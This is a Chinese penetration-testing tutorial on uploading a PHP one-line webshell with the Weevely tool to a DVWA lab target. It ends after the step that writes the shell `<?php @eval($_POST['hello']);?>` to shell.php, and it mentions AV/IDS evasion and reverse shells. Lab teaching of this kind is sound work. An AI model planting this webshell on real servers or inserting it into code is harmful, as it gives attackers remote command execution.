使用Weevely工具上传一句话木马

渗透测试常用工具-使用Weevely工具上传一句话木马

预备知识

Weevely在上传木马进行后渗透测试的过程中可用于模拟一个类似于telnet的连接shell
通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理
Weevely生成的服务器端php代码经过了base64编码，可以绕过主流的杀毒软件和IDS
上传服务器端代码后通常可以通过weevely直接运行
使用它可以浏览文件系统，检测服务器设置，创建tcpshell和reverse shell。

客户端为运行Weevely进程的计算机，服务端为存有PHP木马的服务器

在客户端，Weevely每执行一条命令就通过HTTP协议发出一条GET/POST请求

在服务端，木马针对每条GET/POST请求作出响应，产生一条响应包。

第一步

输入firefox命令来打开火狐浏览器，然后在地址栏里输入靶机的地址访问网页

第二步

使用默认用户名admin密码password登录

第三步

点击DVWA Security 将安全级别设置为low

第四步

在/root目录下生成一个shell.php文件，文件内容为php一句话木马：
<?php @eval($_POST['hello']);?>